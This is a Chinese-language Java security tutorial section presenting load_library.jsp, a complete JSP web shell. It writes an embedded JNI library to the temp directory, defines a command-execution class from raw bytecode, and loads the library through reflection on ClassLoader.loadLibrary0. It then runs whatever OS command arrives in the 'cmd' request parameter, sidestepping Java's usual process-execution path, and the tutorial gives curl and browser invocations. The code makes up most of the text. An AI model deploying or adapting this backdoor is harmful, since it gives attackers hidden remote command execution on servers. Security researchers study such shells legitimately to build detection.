Java可以通过JNI的方式调用动态链接库，我们只需要在动态链接库中写一个本地命令执行的方法就行了。至于如何写JNI动态链接库写我们将在JNI章节中详解。

    load_library.jsp命令执行测试(不依赖Java的forkAndExec)：
    **

    1. <%--
    2.   Created by IntelliJ IDEA.
    3.   User: yz
    4.   Date: 2019/12/6
    5.   Time: 4:59 下午
    6.   To change this template use File | Settings | File Templates.
    7. --%>
    8. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    9. <%@ page import="java.io.File" %>
    10. <%@ page import="java.lang.reflect.Method" %>
    11. <%@ page import="java.io.IOException" %>
    12. <%@ page import="java.io.FileOutputStream" %>
    13. <%!
    14.     private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";
    16.     /**
    17.      * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
    18.      * 只有一个public static native String exec(String cmd);的方法
    19.      */
    20.     private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
    21.             -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
    22.             0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
    23.             101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
    24.             101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
    25.             110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
    26.             97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
    27.             99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
    28.             101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
    29.             99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
    30.             111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
    31.             106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
    32.             2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
    33.             0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
    34.             9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
    35.     };
    37.     // JNI文件Base64编码后的值,这里默认提供一份MacOS的JNI库文件用于测试，其他系统请自行编译
    38.     private static final String COMMAND_JNI_FILE_BYTES = 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    40.     /**
    41.      * 获取JNI链接库目录
    42.      * @return 返回缓存JNI的临时目录
    43.      */
    44.     File getTempJNILibFile() {
    45.         File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");
    47.         if (!jniDir.exists()) {
    48.             jniDir.mkdir();
    49.         }
    51.         return new File(jniDir, "libcmd.lib");
    52.     }
    54.     /**
    55.      * 高版本JDKsun.misc.BASE64Decoder已经被移除，低版本JDK又没有java.util.Base64对象，
    56.      * 所以还不如直接反射自动找这两个类，哪个存在就用那个decode。
    57.      * @param str
    58.      * @return
    59.      */
    60.     byte[] base64Decode(String str) {
    61.         try {
    62.             try {
    63.                 Class clazz = Class.forName("sun.misc.BASE64Decoder");
    64.                 return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
    65.             } catch (ClassNotFoundException e) {
    66.                 Class  clazz   = Class.forName("java.util.Base64");
    67.                 Object decoder = clazz.getMethod("getDecoder").invoke(null);
    68.                 return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
    69.             }
    70.         } catch (Exception e) {
    71.             return null;
    72.         }
    73.     }
    75.     /**
    76.      * 写JNI链接库文件
    77.      * @param base64 JNI动态库Base64
    78.      * @return 返回是否写入成功
    79.      */
    80.     void writeJNILibFile(String base64) throws IOException {
    81.         if (base64 != null) {
    82.             File jniFile = getTempJNILibFile();
    84.             if (!jniFile.exists()) {
    85.                 byte[] bytes = base64Decode(base64);
    87.                 if (bytes != null) {
    88.                     FileOutputStream fos = new FileOutputStream(jniFile);
    89.                     fos.write(bytes);
    90.                     fos.flush();
    91.                     fos.close();
    92.                 }
    93.             }
    94.         }
    95.     }
    96. %>
    97. <%
    98.     // 需要执行的命令
    99.     String cmd = request.getParameter("cmd");
    101.     // JNI链接库字节码,如果不传会使用"COMMAND_JNI_FILE_BYTES"值
    102.     String jniBytes = request.getParameter("jni");
    104.     // JNI路径
    105.     File jniFile = getTempJNILibFile();
    106.     ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");
    108.     if (loader == null) {
    109.         loader = new ClassLoader(this.getClass().getClassLoader()) {
    110.             @Override
    111.             protected Class<?> findClass(String name) throws ClassNotFoundException {
    112.                 try {
    113.                     return super.findClass(name);
    114.                 } catch (ClassNotFoundException e) {
    115.                     return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
    116.                 }
    117.             }
    118.         };
    120.         writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录
    122.         application.setAttribute("__LOADER__", loader);
    123.     }
    125.     try {
    126.         // load命令执行类
    127.         Class  commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
    128.         Object loadLib      = application.getAttribute("__LOAD_LIB__");
    130.         if (loadLib == null || !((Boolean) loadLib)) {
    131.             Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
    132.             loadLibrary0Method.setAccessible(true);
    133.             loadLibrary0Method.invoke(loader, commandClass, jniFile);
    134.             application.setAttribute("__LOAD_LIB__", true);
    135.         }
    137.         String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
    138.         out.println("<pre>");
    139.         out.println(content);
    140.         out.println("</pre>");
    141.     } catch (Exception e) {
    142.         out.println(e.toString());
    143.         throw e;
    144.     }
    146. %>

    load_library.jsp默认提供了一个MacOSX的JNI库字符串Demo其他系统需要自行编译:com_anbai_sec_cmd_CommandExecution.cpp,编译方式参考后面的JNI章节。load_library.jsp接收两个参数:cmd和jni，参数描述：

    1. cmd需要执行的本地命令
    2. jni 动态链接库文件Base64+URL编码后的字符串(urlEncode(base64Encode(jniFile))),jni参数默认可以不传但是需要手动修改jsp中的COMMAND_JNI_FILE_BYTES变量，jni参数只需要传一次，第二次请求不需要带上。

    浏览器请求:
    http://localhost:8080/load_library.jsp?cmd=ls
    命令行(POST传jni参数方式)：

    1. curl http://localhost:8080/load_library.jsp?cmd=ifconfig -d "jni=JNI文件编码后的字符串"

    浏览器访问load_library.jsp执行命令测试：
    7. JNI命令执行 - 图1

    这个JNI示例Demo结合了Java反射、ClassLoader机制、JNI三个知识点，相对新手来说会有较大难度，这里不做详细讲解，在后面的对应的章节将做出详细解读。